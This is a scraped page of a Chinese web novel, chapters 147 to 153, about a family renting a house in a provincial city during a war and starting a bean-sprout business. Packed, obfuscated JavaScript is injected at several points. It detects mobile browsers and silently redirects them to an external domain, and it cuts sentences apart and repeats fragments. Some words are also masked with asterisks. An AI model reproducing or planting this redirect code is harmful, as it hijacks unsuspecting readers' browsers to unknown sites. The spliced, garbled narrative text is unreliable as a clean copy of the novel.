;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244295|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在就剩下方子期家和方虎家没租房了。 因为方虎还肩负着保护方子期的重任,所以他租房肯定是要靠在方子期家旁边的。 “子期!” “我觉得咱们还是该租在城南……” “城北的宅子虽然便宜,但是我找张牙子打听过了,那省学可是在城南。” “若是咱们将宅子租在了城北,回头上下学都麻烦。” “所以干脆一步到位,去城南!” “刚好方夫子家也租在城南了,回头还能去请教请教学问。” 方仲礼咬紧牙关,下定决心道。 读书的事重要,这个时候不能总想着银钱。 “嗯!” “爹!” “我跟你想到一处去了,就去城南租吧。” “而且爹。” “咱们干脆将虎叔家的宅子也一并租了吧!” “出门在外的,有虎叔和大牛哥保护,咱们的安全也有保障。” “虎叔和大牛哥负责保护我们安全,若是这宅子还要他们自己租,就说不过去了。” 方子期提醒道。 “是这么个道理!” “我也是这么想的。” “要不然我家同你虎叔家合租一处普通民居?” “二两银子一个月…虽贵了些,也能接受。” 方仲礼点点头道。 方子期无奈摇头。 “爹!” “普通民居三四间宅子,还不够咱们一家人住的呢!到时候你让虎叔和大牛哥睡哪?跟大青骡和阿黄睡一起啊?” “而且周夫子指不定什么时候就来了,到时候你让周夫子也睡狗窝啊?” “至少要租个一进院,而且房间尽可能多些。” 方子期提议道。 一般的一进院大概有六到八间房。 方子期想着最好租个八间房的豪华版一进院。 虽然钱不能浪着花,但是该花还得花。 “子期,你说得是!” “为父倒是将周夫子给忘了……” “哎!” “咱们父子可以狗窝求学,可万万不能让夫子在狗窝睡觉啊!” “租吧!” “回头咱们家将红烧肉的买卖再做起来就好了!” 方仲礼咬咬牙道。 第148章 他日若遂**志,定圆虎叔将军梦 当方子期将宅院的要求同牙子张老栓说了后,他就连忙去找宅子了。 因为张老栓的业务范围主要在城北这边,城南那边他还需要找同行要房源。 当天下午。 张老栓风尘仆仆地来到客栈找到方仲礼和方子期。 “方相公!方小相公!” “按照你们的要求,一进院,最好是七八间房,距离省学最好近一些……” “符合这些要求的宅院真是不多。” “而且城南的房源比城北还要紧张。” “不过好在功夫不负有心人。” “总算是腾出来一处。” “距离省学极近,走路过去不到一刻钟!” “拢共是八间房……” 牙子张老栓说完这些,长长喘了口气,抹了一把额头上的汗水才接着继续介绍道: “这处宅院虽然不是新盖的,但是前两年也才刚刚翻修过,屋顶的瓦和院里的青砖都干干净净的,住着也敞亮!” “里面的家具物什大多都有,现在带着铺盖过去就能住!” “另外这宅子还有个院子,院子虽不大,但是方方正正的,角落还有块空地,种种菜都是可以的。” “八间房的格局也不错。” “北侧是三间正房,门窗都对着院子,采光都好!适合主人家住!” “东西两侧各有两间厢房,来多少亲友都能住得下!” “南边靠着大门口的位置,还有一间小耳房,当厨房也好,当储物间也罢,都是极好的。” “耳房里面就有灶台,烟囱我都仔细查看了,通畅得很!” “另外院子里还有一口单独的压水井,吃水也方便!” “方相公、方小相公,这宅院的主人家据说也是位读书人。” “读书人事少,到时候也能清净不少。” “要么我带你们去看看房子?” “我光说,你们看不到也没用不是?” 牙子张老栓笑眯眯地将这一进院大概地介绍了一遍。 此刻至少在方子期的脑子里面有了个大概的蓝图。 方子期和方仲礼跟着张老栓去看了一眼宅子。 一切倒是同张老栓所说差不多。 宅院虽翻修过,但是难掩破旧之感。 但是里面收拾地还算整洁干净。 “租金几何?” 方仲礼直切主题。 牙子张老栓眼前一亮! 这是看中了! 这城南的一进院租出去一套所能获得的中人钱可比城北的多得多! 毕竟租金摆在那呢! 牙子张老栓比划了一个八两的手势。 “八两?” “抢钱啊!” “不可能!” “张牙子!” “你这心也太黑了!” “我之亲友的房子可都是你给租的!” “大家都是熟人了!” “你还要讹我们一笔不成?” 方仲礼忍不住惊呼道。 八两银子一个月的租金,一年就上百两了! 要知道,之前他家在禾阳县买的一进院才花了三十多两银子。 合着这省城的一进院都是金子做的?几个月的租金就能在县城买一座一样的宅院了? “方相公。” “这价真不虚!” “这里毕竟是城南!” “而且还是城南的核心区域!” “这里的宅院本来就少。” “要说打仗之前,这样的宅子能租出去三四两银子一个月就算不错了。” “但是现在租金真的翻倍了。” “方相公!” “我看你也是实诚人,我也给你个实价。” “主家给我的底价就是七两五钱银子一个月。” “再少,我是真没办法了。” 牙子张老栓苦笑一声,他也很难做啊! “七两银子!” “现在就可以立契。” 方子期直截了当道。 “啊?” 张老栓愣了一下,随即目光看向方仲礼。 这大人在,小孩说话管用吗? “我儿子的意思就是我的意思。” “就七两银子,行就行,不行拉倒!” 方仲礼咬牙道。 “哎!” “好吧好吧!” “七两银子就七两银子!” “这笔买卖,我是连中人钱都亏进去了!” “但是能结识两位秀才公,也算是我的荣幸了。” 牙人张老栓一副亏大发的样子。 方子期撇撇嘴。 亏钱?不可能的!就是少赚和大赚的区别罢了。 等契书立好,方仲礼赶忙带着方子期回了客栈,然后拉着大青骡车就出客栈。 在这客栈多待一天,就是几百枚铜钱的损失啊! “娘子。” “都租好了!” “七两银子一个月!” “押一付三,一共交了二十八两银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“将来我若真有机会青云直上!” “虎叔我定助你圆了将军梦!” 方子期铿锵有力道。 第149章 破衣烂衫周夫子 方虎年轻时从军,还当过队正。 俗话说得好,不想当将军的士兵不是好士兵。 对于方虎而言,当将军就是他的梦想。 方子期此言,直接戳到了方虎的心尖尖上,挠得方虎一颗心砰砰砰地胡乱跳动。 “子期!” “你放心!” “有你虎叔在!别说是天王老子!就算是皇帝亲临!也休想动你一根汗**!” 方虎掷地有声道。 这话说得属实硬气。 很快。 方子期一家人加上方虎一家人就赶到了刚租赁的一进院。 这宅子所在的街道叫墨香街。 此街也是因为临近书院而得名。 常有文人**,周边的墨香味显得格外浓郁。 街道上,除了住户外,纸张、笔墨铺子云集。 常有学子文人来来往往,倒是充满了文化气息。 “虎兄!” “这东侧的两间厢房就给你家了!” 方仲礼笑呵呵的安排道。 “多谢仲礼了!” “这么好的宅子……” “住得可都是银子啊!” 方虎忍不住感叹道。 一想到七两银子一个月的租金,那就感到恐怖。 宅中三间正房,要留一间出来当堂屋,剩下两间,方仲礼和苏静姝住了一间。 原本还有一间正房是要留给方子期的,但是他素来喜欢僻静,这正房靠着堂屋,多多少少有些吵闹了。 遂方子期选了西厢房的一间,放上床铺,外口还能放一张书桌,用来读书最佳。 “还剩下的一间厢房…就给周夫子留着吧……” “还有间正房倒是极大!” “大丫二丫三丫四丫!” “回头我让你爹将那间正房隔成两间,你们住!” “这正房就算是隔成两间,也比厢房大了!” “暂且,你们挤一挤。” 苏静姝当即安排道。 不论如何。 现在总算是有个落脚地了。 当天家里面采购了一些必需品,晚上苏静姝特地做了一大桌菜,方仲礼还特地买了一壶酒回来,一大家子热闹热闹。 “子期娘。” “以后我们家还是单独开火吧!” “老是吃你们家的,我们也过意不去。” “尤其是大牛那孩子,这吃饭也没个止尽的,一顿下去三大碗饭就没了。” **红着脸道。 都是地道的庄稼人,对柴米油盐这些,还是很计较的。 眼看着自己这一家三口都在蹭吃蹭喝,还蹭住处。 所以**就显得很过意不去了。 “大牛娘!” “你在说什么呢!” “咱们两家啥关系?” “虽不是亲兄弟,那更甚亲兄弟!” “当初子期和仲礼去府城赶考,若非大牛爹保护着,当时我们这一大家子的性命就要了结在那贼寇手里了。” “这次逃荒也是这样,若非大牛和大牛爹射箭惊退了贼寇,我们不说被贼寇杀死,起码那些财物是必然保不住了。” “现在大牛爹还整日整夜地保护我家子期。” “我感激还来不及呢!” “这点吃食算得了什么?” “大牛娘,回头我做饭的时候,你帮我搭把手,就极好了。” “等过两日,我去买些黄豆来,做些酱油,到时候咱们两家一起合作着卖红烧肉,大家一起赚钱!怎么着,也要将这日子给过好了!” 苏静姝笑呵呵道。 她可不是什么没有眼力见的蠢妇。 在这乱世。 能有方虎这般军中退役的高手保护着,那才是正道! 若非族里的命令,想要请到方虎这般军中高手可不容易。 **仍旧有些不好意思。 苏静姝好说歹说,才算作罢。 “那以后帮着卖红烧肉倒是可以,但是子期娘,你可切莫说什么分钱了!” “我总不能连吃带喝,还带拿啊!” **连忙摇头道。 这个是底线。 苏静姝也没多说什么,反正到时候真要是挣了银钱,这银钱她想给谁能拦得住? 这日子,就算是过下了。 方子期抽空去了一趟学政府邸,根据门房所说,那位柳大宗师还没回来,可能还要过一段日子。 所以方子期暂时想去省学读书自然是不行了。 不过方子期仍旧每日让方虎去省学门口蹲守。 因为他同周夫子约定好了。 若是周夫子来了这省城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244297|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就让周夫子去省学找他。 这一等…… 就是半个月后了。 这一天,方虎急匆匆地驾着大青骡车回来了。 “仲礼!” “子期!” “周夫子来了!” 方虎那大嗓门还是很洪亮的。 方家众人连忙走出门外。 只是出去一看…… 各自脸上的表情都显得很愕然…… 因为不仅仅是周夫子,居然还看到了他二姑一家四口人。 这几个人,包括周夫子在内…… 全都是一副破衣烂衫、宛若乞丐…… “夫子,您这是……” 方子期走上前,此刻也被惊到了。 他甚至第一眼都没认出来……看了好半晌,才敢确认这位真是周夫子…… 昔日的周夫子虽对穿着不甚讲究,但也是束发整冠,长衫整洁的。 但是眼前的周夫子…… 此刻穿着脏兮兮的旧儒衫,此刻像是一块揉皱的破布! 袖口处也裂着寸长的口子!被风一吹就跟着晃悠起来。 衣衫下摆就更别提了,大片污迹和泥点,像是在野地里滚过一遭一般。 几缕灰白的碎发粘在布满灰尘的额头上,鬓角还有些草籽似的杂物。 周夫子的脸色蜡黄得像蒙了层土,颧骨高高凸起,眼窝陷得厉害。 原本总是透着书卷气的眼睛,当下也是布满了红血丝,眼下的黑青深得像被人打了一拳一般。 下巴上的短须更是乱蓬蓬的,沾着些说不清是饭粒还是尘土的污垢。 见方子期走了过来,周夫子才无奈叹了口气。 “子期!” “让你见笑了。” “哎!” “早知……我就同你们一起来了。” “就迟了那么十几天,就全乱了。” 周夫子悠然长叹道。 “二哥…二嫂……” 正当此时。 在周夫子身后。 陈景行和方玉茹还有其两个女儿的身影出现在方家众人面前。 方子期好奇的目光看向方虎…… 让你去接周夫子,怎么带回来这么多人? “子期,我在省学门口等周夫子的时候,他们都是一起过来的。” 方虎无奈轻叹道。 第150章 糜烂之局,得一夕安寝 这个时候,周夫子开口道: “我在城门口的时候刚好遇见了你二姑她们。” “说是银钱被人抢了,入不了城,央求我带进来了。” “没想到我这秀才身份还挺好使。” 周夫子自嘲地笑了笑。 “二哥!二嫂!” “子期!” “你们是不知道。” “秀云她舍不得花费进城的银钱,所以我们本打算在城外搭个窝棚。” “谁曾想,有人趁着我们夜间不备,连偷带抢的,将我们的包裹给夺走了。” “我们这几日也是靠着变卖首饰才存活至今!” “哎!” “当初就不该听那蠢妇…咳……不该听秀云的,就应当跟着二哥你们一起入城来!” “好在天无绝人之路。” “我们在城门口居然蹲守到了周夫子!” “要不然我们一家子怕是要饿死在城外了。” “二哥!子期!” “你们是不知道,这半个多月,城外的流民更多了,远比往常还要多……” “这世道太难了。” 陈景行红着眼,说得那叫一个感人肺腑…… 方秀云低着头道:“早知这样,当初就不该来逃荒……” “还不如待在家呢……” 方秀云嘟囔道。 “待在家?” “呵!” “你怕是不知道。” “叛军已经占据了汇川府,已经朝着宁江府杀过来了。” “先前那次兵役后。” “又另外征召了一次兵役。” “赋税更是又加了三成!” “那粮食的价格节节攀高,就半个月,就翻倍了!” “在家就等死吧!” “但凡有点门路的人。” “都在往外跑!” “我听说那位花县令都已离开禾阳县了……” 周夫子瞥了一眼方秀云,又看了一眼方仲礼和方子期。 似乎想说,这是一家人吗?这脑子怎么差得这般多? “花县令走了?” 方子期眉毛一挑道。 “嗯!” “确实是走了。” “我也是看那花县令都走了,我也急急忙忙跟着往外跑的。” “哎!” “再晚几天,可能真就跑不出来了。” “这一路上全是流民!” “到处都是哄抢的乱民。” “我带的盘缠也被洗劫而空。” “好在他们还算讲些人性,不曾将我的秀才执照和路引给夺走。” “否则我连这城都进不了。” “子期!” “还是你更有远见一些。” “谁知道各府府兵这般不堪一击。” “上场没几天,就被叛军打了个落花流水!” “呼!” 周夫子吐出一口浊气,想起这一路上的经历,难免还有些心有余悸。 “夫子!” “到了吃饭的点了!” “快去吃饭吧!” 方子期招呼道。 这一路上周夫子恐怕也没吃到什么好东西。 “二舅……” “舅母……” 禾穗和麦香忍不住脆生生地叫了声。 这几日,她们一次饱饭都没吃过。 此刻听到吃饭,眼睛里都在冒着绿光。 看着自家两个外甥女…… 方仲礼嘴角抽了抽。 这爹娘混蛋,连带着女儿都吃大苦! “进来吃些东西吧!” 方仲礼沉声道。 不管怎么说,两个外甥女是无辜的。 当天下午。 方仲礼去了一趟城北,将爷爷方守义和奶奶柳氏接了过来。 方秀云见到自家爹娘,自然是好一番哭泣。 “现在哭有什么用?” “早做什么去了?” “行了!” “收拾好东西。” “跟我去城北!” “别在你二哥家碍眼!” 方守义冷着脸道。 若非这是自己亲生骨肉,他是真不想管…… 这儿女都是债! 但是总不能眼看着他们都饿死? “爹!” “我看二哥家这宅子挺大的,屋子也够多了,随便匀一间房给我们住段时间就是了。” “而且我听说这城南繁华,到时候景行找活儿也方便。” 方秀云显然不想走。 她都听说了。 那城北就是穷人窝! 人往高处走,水往低处流! 她也想当城南人! “闭嘴!” “你走不走?” “你若不走,我亦不管你了!” “哼!” “打的一手好算盘!” “你二哥凭什么管你?” “你难不成是你二哥生养的?” “没个眼力见的东西!” “你若是再这般!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244298|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就等着流落街头去吧!” 老爷子方守义说完,直接转身离去。 “岳父!” “岳母!” “我们去!我们这就收拾东西跟您去城北!” “秀云她就是头发长见识短,您千万别同她生气!” 陈景行还算是个脑子清楚的。 他当然知道,因为自己这蠢娘子的缘故,他家同方仲礼家的关系早就破碎到极致了。 若非看在二老的份上,方仲礼绝无可能管他们的。 现今这种情况下,维持最起码的体面才是最重要的。 “去什么去!” “他方虎一个外人都能在我二哥家住!” “我是他亲妹子!” “怎么就不行了?” “我就要在这里待着!” “我倒要看看,谁敢赶我!” 方秀云此刻披头散发的,当即嚷嚷开了。 一旁的方虎和**,脸上露出尴尬神色。 方仲礼眉头紧皱,显然被气得不轻。 方子期原本都没打算说什么了。 但是他这二姑…… 是真蠢啊! “二姑不走亦可!” “那就上报官府吧!” “按照《大梁律?9?9刑律?9?9贼盗》规定:凡无故入家内者!杖五十!” “二姑若是想去衙门里领一些廷杖,我倒是有门路。” 方子期一脸淡漠道。 “你…你敢!” 方秀云颤抖着手指,咬牙切齿道。 “你看我敢还是不敢?” “哦!大梁律还有一条!强行**者,主家打死,不论罪!” “我虎叔手上,可是有不少人命的。” “二姑要试试我虎叔的刀锋利否?” 方子期冷笑一声道。 你既不要脸。 那就干脆撕破脸吧! 有些话,方仲礼不好说。 那就让他方子期来说! “快走!” “还在这里磨蹭什么!” 陈景行咬着牙,连忙将方秀云给拉走了。 好好的关系。 都被这蠢妇给耽搁了! 等方秀云等人离开后。 方仲礼悠然一叹。 “秀云…怎么变成了今日这般……” “以前在家中时,虽骄纵了些,但还算秉性善良。” “怎会如此!” 方仲礼摇摇头,他想不通,索性也就不去想了。 第151章 不可坐吃山空,增添新项目 “额……” “都怪我……” “若非我带他们入城,你们也不会平添这些麻烦。” “我事先实不知她是这等人……” 周夫子老脸一红,觉得自己做错事了。 “周夫子,这事同您有何关系?” “还要多谢您带我小妹一家入城。” “若非如此,在这乱民裹挟之下,怕是性命堪忧了!” “我那小妹不知恩情,请周夫子莫要见怪!” 方仲礼连忙拱手道。 这事再怎么怪,也怪不到周夫子头上。 若非看在方家的关系上,他也不可能去搭理方秀云一家。 这点事,方仲礼还是能理得清的。 周夫子来了后。 方子期和方仲礼的读书之路正式走上正轨。 周夫子白日会教授他们几个时辰。 其余时间就自己读书,他发誓,定要将这不举的毛病给治好! 不管怎么说。 也定要在下次乡试中博个举人回来! 省得每次见到那顾清如老是拿他多年不举之事说事! 周夫子早就厌倦了这些。 此刻。 心思倒是沉定得很! 既在省城安了家。 这赚钱的活计自然就要忙活起来了。 方仲礼和方虎驾着大青骡,购置了几百斤黄豆回来,又购置了若干大缸,准备大干一场! 没有足量的酱油,这红烧肉和卤肉的买卖自然是干不长久的。 此次逃荒虽带了些酱油来省城,但也就勉强够自家吃喝罢了。 “哎!” “这酱油眼瞅着还要几个月时间才能酿好……” “这日子突然闲下来,总觉得不是那么回事。” “我前几日见到你大舅,说是现在铁匠的活儿也难找。” “通衢府涌进来的难民太多了,其中不乏有一些铁匠。” “你大舅都打算去码头上给人扛包了!” “听你大舅说,这外面的流民啊,又多了许多。” “想要入城,那身份牌的价格又涨了。” “就这,每日还是有源源不断的难民涌入城内!” “这糟乱的日子,什么时候是个头啊!” 晚间相聚的时候,苏静姝忍不住跟着叨念开了。 “还有那粮食,成天地见涨。” “咱们这黄豆还好买得早。” “否则价钱恐怕又要涨个小一半!” “大家都节衣缩食过苦日子了,到时候这红烧肉还有人吃吗?” 苏静姝又在为未来担忧。 “娘!” “放心吧!” “不管哪个时候,都不缺吃肉的。” “朱门酒肉臭路有冻死骨!” “达官显贵多得是。” 方子期宽慰道。 “嗯!” “是这么个理。” “现在市场上那东西什么都在涨……” “就人的工钱不涨。” “就这几根萝卜,都要十几文钱呢!” “也瞅着到冬日了,这蔬菜也越来越少了。” “回头等开春了,到时候再院子里划一块地方种种菜。” “这居家过日子,就得算计着过!” “穿不穷,吃不穷,算计不到才真要受穷呢!” 苏静姝眼看着家里的银子一点点地往外倒腾,她也愁得慌啊! 家里面还有两个读书人。 还有一大家子吃喝拉撒的…… 那点银子,指不定什么时候就花完了。 “娘。” “市场上没有芽菜吗?” 方子期询问道。 “芽菜?” “那是什么菜,没听说过。” “现在市场上的蔬菜少得很!” “拢共就那么几样!” “价格还贵得出奇!” 苏静姝摇摇头道。 人一多。 但是物资供应不及时。 造成了供需关系失去平衡,价格自然水涨船高。 “芽菜就是…用黄豆发出来的……” “娘!” “咱家不还剩了不少黄豆吗?” “倒是可以试着发一些芽菜去卖,也能填补一下家里的亏空。” 方子期道。 “啊?” “当真?” “子期!” “你可真是娘的好儿子!” 苏静姝眼前一亮,脸上顿时浮现笑意。 虽然她也不清楚这芽菜到底是什么菜,但只要是菜,在市场上就不愁卖! 方子期走进屋内,将发芽菜的的一些简要步骤写好。 随即开始进行试验。 首先挑选当年的新鲜黄豆,这样的发芽率才高。 “娘!” “将黄豆倒入清水中,浸泡个一刻钟左右。” “将那些漂浮起来的空壳、瘪粒和破损的黄豆捞出来,只留沉底的饱满黄豆!“ “然后将筛选好的黄豆放入缸内,加入清水,没过黄豆即可。” “浸泡六到七个时辰!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244299|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“中间最好换一次水。” “浸泡到黄豆彻底吸满水分,黄豆皮微微裂开就差不多了。” “黄豆泡好之后,将黄豆捞出来沥干水分!” “随即将沥干水分的黄豆继续放入缸内,用干净的纱布盖在表面,用水轻轻浸湿即可。” “最后在缸上盖上盖子,使其避开阳光。” “这发芽菜的关键就在于这一步,芽菜不喜欢阳光。” “所以这缸要放在避免阳光晒到的地方,最好还能通风……” “所以这缸内两侧最好打个孔,不需要太大,能保证芽菜通风即可。” “之后每天早晚各浇清水一次……” “浇水的时候要严格注意,浇透黄豆即可,但是不能积水太多。” “浇水结束后,继续盖上盖子,保证缸内的环境足够湿润!” “如此反复,大概过个七天左右,豆芽就出来了。” “娘!反正先试试!” “成功了最好。” “成功不了就多试几次,就当是积攒经验了。” 方子期叮嘱道。 “好好好!” “娘这就去弄!” “还是我家子期聪明!” 苏静姝连连点头。 随即开始了发豆芽的旅程。 前面一两次的发芽过程大多有些瑕疵。 但是掌握了技巧和经验后。 发出的豆芽豆瓣饱满、芽茎也格外洁白,更无其他异味。 成功当日。 苏静姝特地炒了一次来吃。 方家众人皆赞不绝口。 “好吃!” “这可比萝卜好吃多了!” “这整日里吃萝卜,我都感觉自己快变成萝卜了!” 方仲礼大加赞赏。 因为萝卜便宜且易储存,所以苏静姝最喜欢大量购买…… 有时候一连七八天都在吃萝卜,这谁顶得住啊! “软韧带脆,一口吃下去,豆香也极为浓郁!” “颇有嚼劲!” “属实不错!” “实在没想到,这黄豆还能变成这般宝物!” “又能酿制酱油,还能做芽菜!” “子期!” “都说百无一用是书生,你能将书读得这般好,又能在实务上有如此进展,实属难得!” “你之天资,百年难遇啊!” “怪不得顾清如那家伙常说,哪怕是牵条狗给你当老师,你亦能高中案首!” 周夫子深以为然颔首道。 第152章 民生维艰,打开市场,大赚一笔 这话倒是好话,就是听着感觉有些不太对味。 “周夫子都说好吃,那定然是真好吃了。” “看来这芽菜的买卖能做!” 苏静姝喜不自胜。 这么久了。 家里面总算能有个来钱的营生了。 这自然是高兴的事情。 “子期娘!” “回头我帮你一起伺候这芽菜!” “我吃着味道极好。” “想来是不差销路的。” **在一旁笑着道。 她一大家子都在这吃,对于**来说,这三口人一直吃闲饭太难受了。 现在能帮上苏氏,她很乐意。 “好!” “咱们一起弄这芽菜!” “下午让大牛爹帮着拉一些出去卖,看看市场。” 苏氏脸上满是笑容。 心里面的大石头算是落了地了。 这芽菜的买卖。 头两天倒是还平平淡淡。 当买过的老主顾回家吃了后,顿感芽菜滋味爽利,客带客,这顾客一下子就多了起来。 现在苏静姝早上去市场溜达一圈,上百斤的芽菜就卖完了。 按照现在的物价,胡萝卜都能卖上三文钱一斤,所以这芽菜卖五文钱一斤还是很好卖的。 晚间的时候。 苏静姝就在那里算账了。 “一斤黄豆,能发十斤芽菜……按照一斤芽菜五文钱,能卖五十文钱!” “现在一斤豆子二十文钱…哎!想当年咱家第一次弄酱油的时候,那黄豆才不到五文钱一斤,这价格都涨了四倍了!“ “但就算这么算,卖上十斤芽菜,毛利也是有三十文钱的……” “抛掉那些损耗……” “一斤芽菜两文钱的利润还是有的。” “今天卖了上百斤,两百文钱就到手了!” “一天两百文,一个月就是六两银子。” “回头再多发一些,就能凑上这房子的租金了!” 苏静姝在那里盘算着,脸上乐开了花。 “娘!” “五文钱一斤,价格太便宜了。” “回头卖十文钱一斤吧!” “现在萝卜都三文钱一斤了……” “这芽菜口感比萝卜好多了。” “而且芽菜也是吃个新鲜。” 方子期提议道。 “啊?” “十文钱一斤?” “这…这价格是不是太高了些?” “这芽菜的成本也才两三文钱一斤……” “这利润…都好几倍了……” “到时候能有人买吗?” 苏静姝惊了一下道。 “娘!您别忘了,这里是城南。” “能在城南安家的,大家家境都不差。” “更不缺达官显贵。” “这个价非但卖得掉,而且很好卖。” “另外……” “这发芽菜说难也难,说简单也简单。” “说不定过段日子就有人知晓了这发芽菜的路子。” “到时候这芽菜才是真的不好卖!” “咱们得趁着别人没将这芽菜研究透之前,大赚一笔才是。” “再者说了,这芽菜一斤的量都已是许多了,差不多够一家人吃了。” “就目前这个物价,花上十文钱给家里面添一道新鲜菜,还是很划算的。” 方子期说得头头是道。 “行!” “那…那就听儿子的!” “明天娘就将这芽菜按一斤十文钱往外卖!” “一斤净利润七文……” “一百斤就是七百文!” “一天获利七百文……一个月岂不是能赚…赚二十一两?” “嘶!” 苏静姝此刻直接被震惊到了。 脸上的笑容再也止不住了。 痴痴地笑出声来。 “按照这个利润……” “回头每个月不但能覆盖掉房租,一家人吃喝也能覆盖掉,还能结余不少银钱呢!” “我家子期真棒!” “到哪都能给家里挣钱!” 苏静姝此刻眼中只有银钱了,直接化身大财迷了。 方子期微微一笑,只要他娘开心就好。 同时…… 方子期也不由得感觉这世道是真难。 靠着他这个人形bug在,他家的日子也就勉强过得下去。 那其他人呢? 此刻。 方仲礼局促地站在一旁,欲言又止。 “爹!” “是有什么事吗?” 方子期上前道。 “是…是你大姑那边,说是家里面快要断炊了……” “哎……” “你大姑家境本来就一般,进城的时候被搜刮了一次。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244300|181960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “租房子又被搜刮一次。” “省城里面什么都贵……” “前两日你大姑来寻我,问我有没有什么活计……” “你大姑父和你大表哥整日出去找活也找不到。” “现在码头上扛包的活儿每天都得排队……” 方仲礼长长叹了口气道。 “现在这世道……” “谁家都一样。” 方仲礼那边刚说完,苏静姝也跟着感慨道。 “也就是三弟家之前跟着我们卖红烧肉和卤肉攒了些身家,所以勉强还能渡日……” “非但你大姑家……你外公家日子也极不好过。” “你大舅都已经准备变卖家当了……” “我前些日子去看了他们一眼,整日只吃粗粮稀粥就着野菜。” “咱家算是不错的了,之前至少顿顿还有萝卜吃,你们啊,就是不满足。” 苏静姝忍不住跟着叹了口气。 这畜生世道…… 老百姓说是生活在水深火热中亦不为过。 方子期沉默了。 若是像他二姑方秀云这样的,日子过得再差,他也无所谓。 但是他大姑…每次归家都要从手中抠出两个糖来给他,还悄悄地告诉他,不要告诉旁人。 毕竟在农家,这糖果是稀罕物。 还有他外公家…… 在方子期的记忆中,每次去外公家,外公外婆都要尽他们所能,给方子期多捞些干饭吃。 至于他三叔家…… 嗯! 三叔天生牛马命,是个老实人,也没什么坏心思。 “娘!” “回头你同江婶虎叔他们就专门在家发豆芽算了。” “然后将发好的豆芽,让大舅、大姑和三叔他们拿去卖。” “还是按照十文钱一斤的价钱卖。” “他们每卖出一斤豆芽,给他们拿两文钱的提成。” “现在这豆芽刚出来,每人一天卖个百来斤还是简单的。” “回头让他们商量好,不要挤在一起卖,分散到城中各个地方去卖。” “不说多。” “每天给他们挣个两三百文钱,还是没问题的。” “对我们家而言,娘您也不用跟着出去跑了。” “能安心在家发更多的豆芽,赚更多的钱!” 方子期提出了方案。 第153章 前线消息,真亦假时假亦真 如此一来。 他们家就相当于是一级经销商了。 他大姑、大舅二舅还有三叔到他们家进货就行了。 这也算是两全其美的事情。 在旁人不曾将发豆芽的奥妙钻研出来之前,这买卖还是能持续下去的。 偌大一个省城。 每天出个几百斤芽菜,跟玩一样。 不过他娘苏静姝和方虎一家子就要辛苦了。 不过每日能见到现钱,纵是累,也是快乐的。 “如此甚好!” “子期!” “你这小脑瓜子到底是怎么长的!” “这样一来,既能保证这发芽菜的方法短时间内不外泄。” “又能增加收入。” “还能带着你三叔、大姑和外公一家子的日子也能好过些!” “哎!” “都是一起逃荒来省城的。” “能帮一把就帮一把吧!” “不然就这年月,是真能饿**的。” “也不知道这仗什么时候才能打完。” “打仗打到最后,苦的都是老百姓啊!” 方仲礼悠然长叹…… 接下来的每一天。 一大清早。 他三叔方叔信三婶王氏、大姑方玉茹大姑父周明远还有大舅苏大勇二舅苏锻生…… 各自带着自家的牛车或骡车过来。 每家分上一百斤芽菜拉去各地卖。 一斤赚个两文钱提成,这一天下来就是两百文! 一个月就是六两! 